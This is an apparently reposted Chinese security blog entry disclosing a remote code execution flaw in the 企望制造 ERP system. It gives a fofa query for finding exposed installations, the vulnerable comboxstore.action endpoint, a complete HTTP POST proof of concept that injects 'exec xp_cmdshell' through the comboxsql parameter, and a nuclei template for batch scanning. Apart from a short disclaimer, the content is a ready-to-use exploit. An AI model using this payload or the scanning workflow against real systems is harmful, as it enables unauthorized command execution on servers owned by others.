企望制造ERP系统RCE漏洞

admin 2024年5月19日01:13:51评论4 views字数 1202阅读4分0秒阅读模式

一、免责声明:

本次文章仅限个人学习使用,如有非法用途均与作者无关,且行且珍惜;由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号望雪阁及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除整改并向您致以歉意。谢谢!

二、产品介绍:

企望制造ERP系统RCE漏洞

三、资产梳理:

fofa: title="企望制造ERP系统"

四、漏洞复现:

访问http://127.0.0.1:8082/mainFunctions/comboxstore.action

出现以下页面则可能存在漏洞:

企望制造ERP系统RCE漏洞

利用 xp_cmdshell进行命令执行

企望制造ERP系统RCE漏洞

五、POC:

POST /mainFunctions/comboxstore.action HTTP/1.1Host: 127.0.0.1:8082User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedConnection: closeUpgrade-Insecure-Requests: 1Content-Length: 43comboxsql=exec%20xp_cmdshell%20'whoami'

nuclei批量检测:

企望制造ERP系统RCE漏洞

id: qiwangzhizao_rceinfo:  name: qiwangzhizao_rce  author: joboy  severity: critical  description: http://xxx.xxx.xxx/mainFunctions/comboxstore.action  metadata:    max-request: 1    fofa-query: title="企望制造ERP系统"    verified: true  tags: rcerequests:  - raw:      - |-        GET /mainFunctions/comboxstore.action HTTP/1.1        Host: {{Hostname}}    req-condition: true    matchers:      - type: dsl        condition: and        dsl:          - 'contains((body), "data") && status_code == 200' 

原文始发于微信公众号(fly的渗透学习笔记):企望制造ERP系统RCE漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月19日01:13:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   企望制造ERP系统RCE漏洞http://cn-sec.com/archives/2037861.html

发表评论

匿名网友 填写信息